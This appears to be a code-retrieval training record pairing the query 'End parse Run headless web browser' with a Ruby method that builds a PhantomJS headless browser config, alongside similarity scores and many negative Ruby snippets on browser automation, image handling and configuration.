"def run\n setup_options\n\n if parse_options?\n\n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n\n show_effective_options if @options.verbose\n\n # do_work(WordAnalyzer)\n\n # example alternate analyzer implementation\n do_work(AdaptiveWordAnalyzer)\n\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n\n 0 # happy shell exit code\n else\n show_help\n end\n end",
"def run\n # TODO: include a parse step here and remove duplicate parsing code from\n # individual commands\n execute\n end",
"def run\n # We don't want to mutate the original arguments, so we make a copy.\n actual_targets = @arguments.dup\n actual_targets = [ @default_target ] if actual_targets.empty?\n\n write_failure_file_if_necessary_at_beginning\n\n begin\n do_run(actual_targets)\n rescue => e\n # This makes sure that any kind of arbitrary exception from the rest of the\n # buildsystem gets correctly reported as a failure.\n message = \"Received exception from the build system: #{e} [#{e.class}]\\n\" +\n e.backtrace.join(\"\\n \")\n @script_results.failed(message)\n ensure\n end_time = Time.now\n # This is so that, even if the series of scripts leading from, say, CruiseControl to this\n # code doesn't correctly carry back the exit code (as it inexplicably seems not to on\n # Windows), the parent can tell if it passed or not.\n write_failure_file_if_necessary_at_end\n\n # Support for making build archives.\n # archive only if \"force-archive=true\", or when the run fails\n if ((@config_source['monkey-name'] && @script_results.failed?) ||\n @config_source[\"force-archive\"] =~ /true/)\n archive_build_if_necessary\n end\n\n # Print out the duration and the results at the end.\n puts \"\"\n puts \"[%8.2f seconds] %s\" % [ (end_time - @start_time), @script_results.to_s ]\n ExitCodeHelper.exit(@script_results.result_code)\n end\n\n\n end",
"def run(args)\n if not defined? Trepan::PROG_SCRIPT\n errmsg \"Don't know name of debugged program\"\n return\n end\n prog_script = Trepan::PROG_SCRIPT\n if not defined? Trepan::PROG_UNRESOLVED_SCRIPT\n # FIXME? Should ask for confirmation? \n msg \"Debugger was not called from the outset...\"\n trepan8_script = prog_script\n else \n trepan8_script = Trepan::PROG_UNRESOLVED_SCRIPT\n end\n begin\n Dir.chdir(Trepan::INITIAL_DIR)\n rescue\n print \"Failed to change initial directory #{Trepan::INITIAL_DIR}\"\n end\n if not File.exist?(File.expand_path(prog_script))\n errmsg \"Ruby program #{prog_script} doesn't exist\\n\"\n return\n end\n if not File.executable?(prog_script) and trepan8_script == prog_script\n msg \"Ruby program #{prog_script} doesn't seem to be executable...\"\n msg \"We'll add a call to Ruby.\\n\"\n ruby = begin defined?(Gem) ? Gem.ruby : \"ruby\" rescue \"ruby\" end\n trepan8_script = \"#{ruby} -I#{$:.join(' -I')} #{prog_script}\"\n else\n trepan8_script += ' '\n end\n if args.size == 1\n if not defined? Trepan::OldCommand.settings[:argv]\n errmsg \"Arguments have not been set. Use 'set args' to set them.\"\n return\n else\n argv = Trepan::OldCommand.settings[:argv]\n end\n else\n argv = [prog_script] + args[1..-1]\n end\n args = argv.join(' ')\n \n # An execv would be preferable to the \"exec\" below.\n cmd = trepan8_script + args\n msg \"Re exec'ing:\\n\\t#{cmd}\"\n exec cmd\n rescue Errno::EOPNOTSUPP\n msg \"Restart command is not available at this time.\"\n end",
"def run\n if @options['file']\n execute_script @options['file']\n elsif @options['command']\n execute @options['command']\n else\n interactive_shell\n puts \n end\n end"
] |
[
"0.7264311",
"0.722384",
"0.71330595",
"0.71011466",
"0.70697147",
"0.70550066",
"0.70316285",
"0.7018813",
"0.69785887",
"0.6973309",
"0.6973309",
"0.6973309",
"0.6973309",
"0.6973309",
"0.6973309",
"0.6967043",
"0.6966249",
"0.69627464",
"0.6923506",
"0.6919222",
"0.68862224",
"0.6854111",
"0.68510884",
"0.68503",
"0.68015796",
"0.67844564",
"0.6781331",
"0.6742816",
"0.6741039",
"0.6735219",
"0.67328227",
"0.6681344",
"0.6661648",
"0.6635888",
"0.6630613",
"0.65219784",
"0.6495244",
"0.63913596",
"0.636918",
"0.63655645",
"0.63620543",
"0.6359304",
"0.6341115",
"0.6325136",
"0.63157237",
"0.62855107",
"0.62852144",
"0.6275574",
"0.6254996",
"0.6253698",
"0.62411624",
"0.62290686",
"0.6208232",
"0.6205545",
"0.6202243",
"0.6201824",
"0.6186164",
"0.61823004",
"0.61573166",
"0.6155493",
"0.61278",
"0.6122656",
"0.61219484",
"0.61089694",
"0.6105484",
"0.61004597",
"0.6096289",
"0.60854167",
"0.6078857",
"0.6077418",
"0.60698235",
"0.60665876",
"0.6063081",
"0.60629255",
"0.6061204",
"0.60603607",
"0.6055266",
"0.6049438",
"0.6047514",
"0.60311955",
"0.6026587",
"0.602123",
"0.6014722",
"0.60134834",
"0.59841305",
"0.59616643",
"0.59385306",
"0.59383374",
"0.59245896",
"0.5917246",
"0.59124714",
"0.58862984",
"0.58744097",
"0.5858117",
"0.58432305",
"0.5843177",
"0.58338755",
"0.5828971",
"0.5826621",
"0.58021134",
"0.58015394"
] |
0.0
|
-1
|
End parse Run headless web browser
|
def run_headless_web_browser
require File.dirname(__FILE__) + '/headlesswebbrowser'
headless_web_browser = Cssp::PhantomJS.new()
headless_web_browser.config_file_path = @options[:config_file_dir] + '/cssp_config.js'
headless_web_browser.build
headless_web_browser.prune
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def Close\r\n\r\n # Close browser\r\n $browser.close\r\n $headless.destroy\r\n\r\nend",
"def parse\n @opts = OptionParser.new(&method(:set_opts))\n @opts.parse(@args)\n @options\n run_headless_web_browser\n end",
"def kill_browser\n Praline::kill_browser\n end",
"def suicide\n if Capybara.mode.to_s == 'webkit'\n @page.driver.browser.instance_variable_get(:@connection).send :kill_process\n end\n @page = nil\n end",
"def test_03()\n\t\tputs \"Inside test 3\"\n\t\t$browser.stop\n\t\t\n\tend",
"def headless!; end",
"def headless!; end",
"def close_browser\r\n @browser.quit\r\n sleep 1\r\n end",
"def stopBrowser()\n\t\n\t$browser.stop\n\t\nend",
"def stopBrowser()\n\t\n\t$browser.stop\n\t\nend",
"def stopBrowser()\n\t\n\t$browser.stop\n\t\nend",
"def stop\n command(\"Page.stopLoading\", slowmoable: true)\n end",
"def quit\n @browser.close\n end",
"def clean_up\n @browser.close if @browser && @browser.exists?\n quit \"Later, noobs\"\n end",
"def browse url\n @@headless = Headless.new\n @@headless.start\n @@browser = Watir::Browser.start url\n end",
"def exit_still_pp\n end",
"def close_browser\n Logbook.step('Stop webdriver. The End of a test:)')\n @browser.quit\n Logbook.publish_results\n end",
"def after\n super()\n soft_browser_quit()\n end",
"def teardown\n @playground.browser.quit\n end",
"def launch_browser(html)\n fork do\n Tempfile.open(%w[bud .html]) do |handle|\n handle.write(html)\n handle.flush\n system(\"open #{handle.path}\")\n sleep 300\n end\n end\nend",
"def closeBrowser(step)\n @browser.quit\n end",
"def quitbrowser\n @browser.quit\n end",
"def teardown\n @browser.quit\n end",
"def test_05_stop_browser()\n\t\tstopBrowser()\n\tend",
"def TearDown(app)\r\n #Get app name from abbreviations\r\n case app\r\n when 'MB'\r\n app = 'mcs'\r\n when 'WS'\r\n app = 'ws'\r\n end\r\n \r\n #Logout from app\r\n logout = \"#{app}_Logout\"\r\n send logout\r\n #~ #close first browser\r\n begin\r\n if $browser.exists?\r\n $browser.close\r\n end\r\n ensure\r\n $browser.close\r\n end\r\n \r\n#~ #write result summary\r\n writeSummaryAndOverview()\r\n writeTestResultHtmlFooter()\r\nend",
"def teardown\n @browser.quit\nend",
"def teardown\n @browser.quit\nend",
"def stopBrowser()\n\t\n\t#@browser.close_current_browser_session()\n\[email protected]\n\t\nend",
"def load_page\n visit \"umple.php\"\n end",
"def teardown\n $browser.close\nend",
"def run(start_url: START_URL, limit: nil)\n original_logger_level = Rails.logger.level\n Rails.logger.level = :warn\n import_count = 0\n\n browser = Watir::Browser.start(start_url)\n\n while(true) # TODO: Not this\n break if limit && import_count > limit\n\n import_post!(browser)\n import_count += 1\n\n # TODO: Refactor\n if BROKEN_NEXT_BUTTON_DEST[browser.url]\n browser.goto(BROKEN_NEXT_BUTTON_DEST[browser.url])\n else\n next_link = browser.span(text: 'NEXT').try(:parent)\n break unless next_link\n\n # Some links open in new tab, which breaks this importer.\n # Make sure link will open in same tab.\n browser.execute_script(\"return arguments[0].target = '_self'\", next_link)\n\n next_link.click # Loads next page\n end\n end\n\n puts 'Done!'\n ensure\n Rails.logger.level = original_logger_level\n end",
"def run\n\t\t\t\tif save_file\n\t\t\t\t\tdoc = Nokogiri::HTML(open(@file,\"r\"))\n\t\t\t\t\tparse_page(doc)\n\t\t\t\t\tflush_page\n\t\t\t save_words\n\t\t\t end\n\t\t\tend",
"def destroy\n @browser.destroy\n head :no_content\n end",
"def load_page\n page.visit('')\n end",
"def quit_browser\n @browser.quit\n end",
"def teardown\n @browser.close\n end",
"def close\n return if @closed\n @closed = true\n @rpc.close\n @rpc = nil\n @browser.close if @close_browser\n self\n end",
"def test_08_stop_browser()\n\t\tstopBrowser()\n\tend",
"def interactive_generator\n webGui = WebGui.new(\"\")\n webGui.start\nend",
"def run\n reset!\n\n pages.each do |page|\n log.puts\n\n if page.respond_to?(:read)\n html = page.read\n elsif page.respond_to?(:call)\n result = instance_eval(&page)\n\n html = case result\n when String\n result\n else\n @agent.page.body\n end\n else\n begin\n html = fetch(page)\n rescue FetchError => e\n log.puts(e.message.red)\n next\n end\n end\n\n process!(html)\n end\n\n report\n\n selectors_to_review\n end",
"def endPage()\n @device.endPage() ;\n end",
"def teardown\n puts 'Exit'\n @web_driver.quit\n end",
"def parse_page\n @doc = Nokogiri::HTML(@html)\n end",
"def run\n start_processing\n at_exit { ShellOut.stop }\n end",
"def halt; end",
"def halt; end",
"def close(browser)\n disable_proxy # disabling proxy is part of closing process\n kill_all_arg = \"\"\n case browser\n when 'chrome'\n kill_all_arg = 'Google Chrome'\n when 'firefox'\n kill_all_arg = 'firefox'\n when 'safari'\n kill_all_arg = 'Safari'\n end\n `killall -SIGTERM #{kill_all_arg}`\nend",
"def webpage\n render(:webpage, layout:false) and return\n end",
"def after_parse; end",
"def after_parse; end",
"def go_to_page(url)\n Logbook.step(\"Open start page #{url} :)\")\n @browser.get url\n sleep 2\n\n @browser\n end",
"def load_page_in_new_tab(options = {})\n screenshoter = File.join Chromeshot.root, 'bin', 'load-screenshot.js'\n tab = `nodejs #{screenshoter} --url='#{options[:url]}' --delay=5 --debugPort=#{self.debug_port}`\n tab.chomp\n end",
"def shutdown\n puts \"Shutting Down...\"\n puts \"Elapsed Time: #{Time.now - @start}\"\n #result = RubyProf.stop\n #printer = RubyProf::GraphHtmlPrinter.new(result) #<= Prints Process Performance\n #file = File.open('result.html', \"w\")\n #printer.print(file, {})\n sleep 10\n @server.close\n exit!\n end",
"def finish; end",
"def finish; end",
"def finish; end",
"def finish; end",
"def finish; end",
"def finish; end",
"def finish; end",
"def finish; end",
"def XOclose\n\t\tsleep TIMETICK\n\n\t\tbegin\n\t\t\[email protected]\n\t\trescue\n#\t\t\t::Process.kill('KILL', browser_pid)\n\t\tend\n\t\t$alog.lwrite('Browser closed!', 'DEBG')\n\t\treturn retControl(OK)\n\tend",
"def go()\n\[email protected] @url\n end",
"def stop; end",
"def stop; end",
"def stop; end",
"def stop; end",
"def stop; end",
"def stop; end",
"def stop; end",
"def main\n test_url = \"http://eatsblog.guidelive.com/archives/2007/06/you-know-you-want-it.html\"\n parse(test_url)\n end",
"def close_page\n Logbook.message('Closing browser page >>')\n\n if @browser.nil?\n Logbook.error('Page is already closed')\n else\n @browser.close\n Logbook.message('Done! Page closed')\n end\n end",
"def visit\n @browser.goto(URL)\n end",
"def close_browser\n\t\[email protected]\n\tend",
"def setup_browser(url)\n browser = Watir::Browser.new :firefox, headless: true\n browser.goto url\n return browser\nend",
"def run\n nil\n end",
"def web\n Minimart::Commands::Web.new(options).execute!\n\n rescue Minimart::Error::BaseError => e\n Minimart::Error.handle_exception(e)\n end",
"def teardown\r\n\r\n # Close the browser unless there was an error in the setup which caused $browser to not get initialized\r\n unless $browser.nil?\r\n\r\n $browser.close\r\n\r\n end\r\n\r\n end",
"def wait_for_browser\r\n # NOTE: no need any more\r\n end",
"def set_progress_web\n\n end",
"def close_browser b\n begin\n Moose.msg.info(\"Closing Watir browser!\")\n b.close\n rescue => e\n Moose.msg.error(\"Unable to close browser using Watir browser.close! - #{e.message}\")\n begin\n b.quit\n rescue Errno::ESRCH => e\n Moose.msg.error(\"Unable to kill browser using Process.kill!\")\n else\n Moose.msg.info(\"Killed browser!\")\n end\n else\n Moose.msg.info(\"Closed browser!\")\n end\n end",
"def stop\n Net::HTTP.get('localhost', '/selenium-server/driver/?cmd=shutDown', @port_number)\n end",
"def run\n super\n\n uri = _get_entity_name\n \n begin \n _log \"Browser Navigating to #{uri}\"\n c = Intrigue::ChromeBrowser.new\n browser_response = c.navigate_and_capture(uri)\n rescue Errno::ECONNREFUSED => e \n _log_error \"Unable to connect to chrome browser. Is it running on :9222?\"\n rescue StandardError => e\n `pkill -9 chromium` # hacktastic\n end\n\n if browser_response \n # capture a screenshot and save it as a detail\n _set_entity_detail(\"hidden_screenshot_contents\",browser_response[\"encoded_screenshot\"])\n _set_entity_detail(\"extended_screenshot_contents\",browser_response[\"encoded_screenshot\"])\n _set_entity_detail(\"extended_requests\",browser_response[\"requests\"])\n end\n\n end",
"def wait(last_url = nil)\r\n #puts \"In wait function \"\r\n isLoadingDocument = \"\"\r\n start = Time.now\r\n \r\n while isLoadingDocument != \"false\"\r\n isLoadingDocument = js_eval(\"#{BROWSER_VAR}=#{WINDOW_VAR}.getBrowser(); #{BROWSER_VAR}.webProgress.isLoadingDocument;\")\r\n #puts \"Is browser still loading page: #{isLoadingDocument}\"\r\n \r\n # Derek Berner 5/16/08\r\n # Raise an exception if the page fails to load\r\n if (Time.now - start) > 300\r\n raise \"Page Load Timeout\"\r\n end\r\n end\r\n # Derek Berner 5/16/08\r\n # If the redirect is to a download attachment that does not reload this page, this\r\n # method will loop forever. Therefore, we need to ensure that if this method is called\r\n # twice with the same URL, we simply accept that we're done.\r\n $jssh_socket.send(\"#{BROWSER_VAR}.contentDocument.URL;\\n\", 0)\r\n url = read_socket()\r\n \r\n if(url != last_url)\r\n # Check for Javascript redirect. As we are connected to Firefox via JSSh. JSSh\r\n # doesn't detect any javascript redirects so check it here.\r\n # If page redirects to itself that this code will enter in infinite loop.\r\n # So we currently don't wait for such a page.\r\n # wait variable in JSSh tells if we should wait more for the page to get loaded\r\n # or continue. -1 means page is not redirected. Anyother positive values means wait.\r\n jssh_command = \"var wait = -1; var meta = null; meta = #{BROWSER_VAR}.contentDocument.getElementsByTagName('meta');\r\n if(meta != null)\r\n {\r\n var doc_url = #{BROWSER_VAR}.contentDocument.URL;\r\n for(var i=0; i< meta.length;++i)\r\n {\r\n\t\t\t\t\t\t \t\t\tvar content = meta[i].content;\r\n\t\t\t\t\t\t\t \t\tvar regex = new RegExp(\\\"^refresh$\\\", \\\"i\\\");\r\n\t\t\t\t\t\t\t\t \tif(regex.test(meta[i].httpEquiv))\r\n\t\t\t\t\t\t\t\t\t {\r\n\t\t\t\t\t\t\t\t\t\t var arrContent = content.split(';');\r\n \t\t\t\t\t\t\t\t\t\tvar redirect_url = null;\r\n\t \t\t\t\t\t\t\t\t\tif(arrContent.length > 0)\r\n\t\t \t\t\t\t\t\t\t\t{\r\n\t\t\t \t\t\t\t\t\t\t\tif(arrContent.length > 1)\r\n\t\t\t\t \t\t\t\t\t\t\t\tredirect_url = arrContent[1];\r\n\t \r\n\t\t\t\t\t\t\t \t\t\t\tif(redirect_url != null)\r\n\t\t\t\t\t\t \t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t \t\t\t\tregex = new RegExp(\\\"^.*\\\" + redirect_url + \\\"$\\\");\r\n\t\t\t\t\t\t\t\t\t \t\t\tif(!regex.test(doc_url))\r\n\t\t\t\t\t\t\t\t\t\t \t\t{\r\n\t\t\t\t\t\t\t\t\t\t\t \t\twait = arrContent[0];\r\n\t\t\t\t\t\t\t\t\t\t\t\t }\r\n\t\t\t\t\t\t\t\t\t\t\t }\r\n\t\t\t\t\t\t\t\t\t\t\t break;\r\n\t\t\t\t\t\t\t\t\t\t }\r\n\t\t\t\t\t\t\t\t\t }\r\n\t\t\t\t\t\t\t\t }\r\n }\r\n wait;\"\r\n #puts \"command in wait is : #{jssh_command}\" \r\n jssh_command = jssh_command.gsub(/\\n/, \"\")\r\n $jssh_socket.send(\"#{jssh_command}; \\n\", 0)\r\n wait_time = read_socket();\r\n #puts \"wait time is : #{wait_time}\"\r\n begin\r\n wait_time = wait_time.to_i\r\n if(wait_time != -1)\r\n sleep(wait_time)\r\n # Call wait again. In case there are multiple redirects.\r\n $jssh_socket.send(\"#{BROWSER_VAR} = #{WINDOW_VAR}.getBrowser(); \\n\",0)\r\n read_socket()\r\n wait(url)\r\n end \r\n rescue\r\n end\r\n\t\t\tend\r\n set_browser_document()\r\n run_error_checks()\r\n return self\r\n end",
"def start\n @driver.navigate.to \"http://play.threesgame.com\"\n sleep(0.5)\n end",
"def test02_logout\n\n\t$Browser.click \"link=LOG OUT\"\n\tputs \"Logout Successfully!!\"\n\t$Browser.wait_for_page_to_load\n\t# Stop the browser session.\n\t$Browser.stop\n\n end",
"def te_st_099_WIP\r\n\r\n sTestCase_Name = \"test_099_WIP\"\r\n puts2(\"Starting Testcase: #{sTestCase_Name}\")\r\n\r\n puts2(\"Close the window\")\r\n\r\n # Set the flag to close the $browser after the last test case runs\r\n @@bCloseBrowser = true\r\n\r\nend",
"def run\n if ARGV.empty? && @alive\n scrape_today \n scrape_weekend\n process_today_activities\n process_weekend_activities\n run_normal\n elsif !ARGV.empty? && @alive \n scrape_today \n scrape_weekend\n process_today_activities\n process_weekend_activities\n run_argv\n elsif !ARGV.empty? && !@alive\n run_argv\n else \n run_offline\n 30.times do\n sleep(0.1)\n @bar.advance\n end \n display_favorites\n end \n end",
"def load_page\n @page = Nokogiri::HTML(@browser.html)\n end",
"def execute(tse)\n begin\n tse.run\n rescue\n puts $!\n puts $!.backtrace.join()\n tse.status = Status::INTERRUPTED\n tse.selenium_server.driver.stop if !tse.selenium_server.driver.nil?\n tse.save\n end\n end",
"def go_function!\n @page << \"<script type='text/javascript'>go = function() \"\\\n '{window.hyper_spec_waiting_for_go = false}</script>'\n end",
"def wait_for_page\n sleep 0.7\n end",
"def stop\n driver.stop\n end",
"def soft_browser_quit()\n begin\n # Close the Capybara Browser Session if possible\n @browser.driver.quit\n rescue => e\n # Display an error if the Capybara Session could not be closed out\n e.display\n end\n end",
"def after_parse\n end",
"def start\n parse!\n run\n end",
"def go\n require 'pashua'\n pagetmp = wikipage_selector(\"Jump to which page?\")\n exit unless pagetmp\n @chrome.windows[1].get.tabs[@chrome.windows[1].get.active_tab_index.get].get.URL.set(\"http://localhost/wiki/#{pagetmp}\")\nend",
"def js_visit(path)\n visit path\n sleep 1\nend",
"def parse_page(response)\n\t\tNokogiri::HTML(response.body)\n\tend",
"def close_browser\n $LOG.info \"Inside close browser method\"\n begin\n $driver.quit\n rescue Exception => e\n $LOG.error \"Error in quiting browser and ending session\" + e.message\n $driver.save_screenshot(\"log/webscreenshot/webScreenshot_#{$webscreenshot}.png\")\n $webscreenshot = $webscreenshot+1\n raise \"Error in quiting browser and ending session \\n Error Message ::\" + e.message\n end\n end"
] |
[
"0.6271492",
"0.5946006",
"0.58983064",
"0.58686393",
"0.5823811",
"0.57689846",
"0.57689846",
"0.57405186",
"0.5734102",
"0.5734102",
"0.5734102",
"0.5726214",
"0.5686363",
"0.5660421",
"0.557751",
"0.5567707",
"0.554181",
"0.54720086",
"0.5450935",
"0.541767",
"0.5408571",
"0.5367222",
"0.5356854",
"0.5354916",
"0.53342",
"0.5332128",
"0.5332128",
"0.53240234",
"0.5321786",
"0.5308314",
"0.530616",
"0.53051925",
"0.5285034",
"0.52771115",
"0.52603346",
"0.52432853",
"0.52324104",
"0.52267295",
"0.5221495",
"0.5197931",
"0.519418",
"0.51770616",
"0.51564986",
"0.5129731",
"0.51142454",
"0.51142454",
"0.5111217",
"0.5109712",
"0.5108473",
"0.5108473",
"0.5106908",
"0.5086305",
"0.50840116",
"0.5083737",
"0.5083737",
"0.5083737",
"0.5083737",
"0.5083737",
"0.5083737",
"0.5083737",
"0.5083737",
"0.5083508",
"0.50717473",
"0.507123",
"0.507123",
"0.507123",
"0.507123",
"0.507123",
"0.507123",
"0.507123",
"0.50659573",
"0.5053959",
"0.5043749",
"0.5041042",
"0.5035366",
"0.5029359",
"0.502381",
"0.50180066",
"0.49997053",
"0.49985152",
"0.4992223",
"0.49913102",
"0.4990238",
"0.49894598",
"0.49836725",
"0.49652678",
"0.4959997",
"0.49566072",
"0.49527568",
"0.49391285",
"0.4928348",
"0.4926812",
"0.49267337",
"0.49221194",
"0.4912776",
"0.48984337",
"0.48934922",
"0.48738718",
"0.48717314",
"0.4862374"
] |
0.5546061
|
16
|
picture: key in _config.yml
|
def pconfig
@pconfig ||= {}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_defaults\n self.imagepath ||= Rails.application.config.missing_sign_image\n end",
"def image_name\n setting.data[\"image\"]\n end",
"def config_flickr\n FlickRaw.api_key = YAML.load_file(\"#{config_dir}/config.yml\")['flickr_api_key']\n end",
"def casein_config_logo\n \t'/images/logo_ss.jpg'\n end",
"def add_default_profile_pic\n self.picture = Rails.root.join(\"app/assets/images/profile-pic.jpg\").open\n end",
"def add_picture(picture)\n end",
"def default_image\n end",
"def tip_pic(id, key, text)\n string = sprintf('<key_pic: %s, %s>', key, text)\n bitmap_picture(id, string)\n end",
"def casein_config_logo\n 'casein/casein.png'\n end",
"def picture_options\n {purpose: nil, variant: nil}\n end",
"def picture_url\n if avatar\n image_path(\"speakers/#{avatar}\")\n else\n image_path(\"default-avatar.png\")\n end\n end",
"def configureImages()\n #Fetch the server configuration\n config = fetchServerConfig()\n #Used the gathered configuration information to build a URL for accessing images\n $imageBase = config['images']['base_url']+config['images']['poster_sizes'][5]\nend",
"def add_picture (picture)\r\n fail \"Missing picture.\" if (picture == nil)\r\n path = absolute_path(picture.sub(\"/images\", \"../public/images\"), __FILE__)\r\n fail \"There exists no file on path #{path}\" unless (File.exists?(path))\r\n\r\n self.picture = picture\r\n end",
"def profile_picture\n profile_picture_file_name\n end",
"def repository_name\n config['image']\n end",
"def cloud_config_yaml_key\n self.prefix_key('cloud_config.yaml')\n end",
"def cloud_config_yaml_key\n self.prefix_key('cloud_config.yaml')\n end",
"def filename\n \"property-#{property.picture}\"\n end",
"def picture_params\n params.require(:picture).permit(:blog_id, :image, :kind_id)\n end",
"def picture_url_options\n return {} if picture.nil?\n\n {\n format: picture.default_render_format,\n crop_from: crop_from.presence,\n crop_size: crop_size.presence,\n size: content.settings[:size],\n }.with_indifferent_access\n end",
"def api_picture_url_on_error_at\n return nil unless (temp_extended_api_picture_url_on_error_at = read_attribute(:api_picture_url_on_error_at))\n temp_api_picture_url_on_error_at = encrypt_remove_pre_and_postfix(temp_extended_api_picture_url_on_error_at, 'api_picture_url_on_error_at', 22)\n YAML::load(temp_api_picture_url_on_error_at)\n end",
"def image(name)\n @parts.push(image: \"#{Bioturk::Application.config.image_server_interface}#{name}\")\n end",
"def image\n 'gh.png'\n end",
"def set_element pic\n controller_name == 'temp_listings' ? get_pixi_image(pic) : get_pixi_image(pic, 'large')\n end",
"def cms_image_url(img_key)\n cms_host = 'http://local.amaysim2.com.au/' #TODO load from compass.yml\n \"#{cms_host}#{CMS_IMAGES[img_key]}\"\n end",
"def picture\n if local_picture.nil?\n category.picture if category\n else\n local_picture\n end\n end",
"def pic_url\n {\n picture: self.object.pic.service_url\n }\n end",
"def thumbnail_url\n \n PLACEHOLDER_PROJECT_IMAGE_URL\n\n end",
"def profile_pic_default\n if profile_pic.attached? \n profile_pic.variant(resize: \"150x150!\").processed\n else \n \"/default_profile.jpg\"\n end\n end",
"def test_should_call_avatar_photo\n# assert_equal users(:patrick).avatar_photo_url, AppConfig.photo['missing_medium']\n# assert_equal users(:patrick).avatar_photo_url(:thumb), AppConfig.photo['missing_thumb']\n end",
"def serialized_ingredient\n picture_url(content.settings)\n end",
"def serialized_ingredient\n picture_url(content.settings)\n end",
"def picture_url\n picture.url(:featured_project)\n end",
"def picture_params\n params.require(:picture).permit(:name, :description, :picture)\n end",
"def display_picture_url\n\t\tdisplay_picture.url(:original)\n\tend",
"def picture_params\n params.require(:picture).permit(:title, :description, :picture)\n end",
"def picture_catalog_file_path\n if picture\n picture.catalog_file_path\n end\n end",
"def img_src\n options.keys.find { |o| IMG_SOURCES.include?(o) }\n end",
"def picture_list\n end",
"def default_url\n \"photo/#{version_name}.jpg\"\n end",
"def generate_configuration\n template \"mebla.yml\", \"config/mebla.yml\"\n end",
"def config_ist_banner()\n FileUtils.cp(\"#{UcbDeployer::RESOURCES_DIR}/ist_banner.jpg\",\n \"#{self.build_dir()}/src/webapp/images/\")\n end",
"def define(key, val = nil)\n @img.define(key, val)\n end",
"def picture_params\n params.require(:picture).permit(:name, :key, :temp_type, :photo)\n end",
"def default_url\n Settings.image.default_avatar\n end",
"def default_url\n Settings.image.default_avatar\n end",
"def default_url\n Settings.image.default_avatar\n end",
"def picture_slug\n if picture\n picture.slug\n end\n end",
"def pic_one_url\n \tpic_one.url(:medium)\n end",
"def set_defaults\n self.main_image ||= Placeholder.image_generator(height: 600, width: 400) # go to concern folder\n self.thumb_image ||= Placeholder.image_generator(height: 350, width: 200) # go to concern folder\n end",
"def edit_real_picture\n end",
"def picture_params\n params.require(:picture).permit(:picture, :description, :locked)\n end",
"def thumbnail_path\n \"t_#{image_path}\"\n end",
"def picture_params\n params.require(:picture).permit(:name, :description, :image)\n end",
"def picture_params\n params.require(:picture).permit(:description)\n end",
"def picture_params\n params.require(:picture).permit(:description, :image)\n end",
"def picture_params\n params.require(:picture).permit(:url)\n end",
"def set_defaults\n self.main_image ||= Placeholder.image_generator(height: '600', width: '400')\n self.thumb_image ||= Placeholder.image_generator(height: '350', width: '200')\n end",
"def set_defaults\n self.main_image ||= Placeholder.image_generator(height: '600', width: '400')\n self.thumb_image ||= Placeholder.image_generator(height: '350', width: '200')\n end",
"def set_defaults\n self.main_image ||= Placeholder.image_generator(height: '600', width: '400')\n self.thumb_image ||= Placeholder.image_generator(height: '350', width: '200')\n end",
"def default_image\n if instance.platform.name =~ /^(.*)-([^-]*)$/\n \"#{$1}:#{$2}\"\n else\n instance.platform.name\n end\n end",
"def picture\n if model.picture and File.file?(model.asset_path_for_image)\n model.picture\n else\n model.update_cache\n ''\n end\n end",
"def thumbnail\n \"template_\" + self.template.stylesheets + \".png\"\n end",
"def api_profile_picture_url\n return nil unless (temp_api_profile_picture_url = read_attribute(:api_profile_picture_url))\n # logger.debug2 \"temp_api_profile_picture_url = #{temp_api_profile_picture_url}\"\n encrypt_remove_pre_and_postfix(temp_api_profile_picture_url, 'api_profile_picture_url', 40)\n end",
"def api_profile_picture_url\n return nil unless (temp_api_profile_picture_url = read_attribute(:api_profile_picture_url))\n # logger.debug2 \"temp_api_profile_picture_url = #{temp_api_profile_picture_url}\"\n encrypt_remove_pre_and_postfix(temp_api_profile_picture_url, 'api_profile_picture_url', 40)\n end",
"def src\n options.fetch(:src, image)\n end",
"def image( name )\n @images[name]\n end",
"def property_picture_params\n params.require(:property_picture).permit(:name, :avatar_url, :property_id, :_destroy, :avatar_url_cache)\n end",
"def default_url\n \"http://placehold.it/330&text=pic\"\n end",
"def picture\n if self.avatar?\n self.avatar.url\n elsif self.image_url != nil\n self.image_url\n else\n 'generic_avatar'\n end\n end",
"def get_config_for (type)\n\t\tcurrent_config = server_config\n\t\tconfig = server_config[\"images\"][type]\n\tend",
"def picture_params\n params.require(:picture).permit(:image, :title, :description, :user_id)\n end",
"def yaml_file?; end",
"def picurl= pu\n self.picture = ImageReferenceServices.find_or_initialize site_service&.resolve(pu)\n end",
"def picture_params\n params.require(:picture).permit(:title, :url, :cat_id)\n end",
"def boot_image_information(opts)\n opts = check_params(opts,[:save_active_config])\n super(opts)\n end",
"def img_file\n return \"map_\" + symbol.to_s + \"_full\"\n end",
"def image_hash; end",
"def image\n options.fetch(:image, nil)\n end",
"def add_default_picture\n unless picture.attached?\n picture.attach(\n io: File.open(\n Rails.root.join(\n 'app', 'assets', 'images', 'talent_default.jpg' \n )\n ), filename: 'talent_default.jpg',\n content_type: 'image/jpg'\n )\n end\n end",
"def set_picture\n @picture = Picture.find(params[:id])\n end",
"def set_picture\n @picture = Picture.find(params[:id])\n end",
"def set_picture\n @picture = Picture.find(params[:id])\n end",
"def set_picture\n @picture = Picture.find(params[:id])\n end",
"def set_picture\n @picture = Picture.find(params[:id])\n end",
"def set_picture\n @picture = Picture.find(params[:id])\n end",
"def set_picture\n @picture = Picture.find(params[:id])\n end",
"def set_picture\n @picture = Picture.find(params[:id])\n end",
"def set_picture\n @picture = Picture.find(params[:id])\n end",
"def set_picture\n @picture = Picture.find(params[:id])\n end",
"def set_picture\n @picture = Picture.find(params[:id])\n end",
"def set_picture\n @picture = Picture.find(params[:id])\n end",
"def default_image_path\n \"default_interest_images/#{name.gsub(/\\s/,'').gsub(/\\W/,'_').downcase}\"\n end",
"def defaults\n reverse_merge!({\n :image_name => 'natty',\n })\n end",
"def set_defaults\n\t\tself.main_image ||= Placeholder.image_generator(height: '200', width: '200')\n\t\tself.thumb_image ||= Placeholder.image_generator(height: '300', width: '300')\n\tend",
"def assign_default_values\n unless self.picture.attached?\n p \"second statement\"\n self.picture.attach(io: File.open(\n Rails.root.join('app', 'assets', 'images', 'no-product-picture.png')),\n filename: 'no-product-picture.png', content_type: 'image/png'\n )\n end\n end",
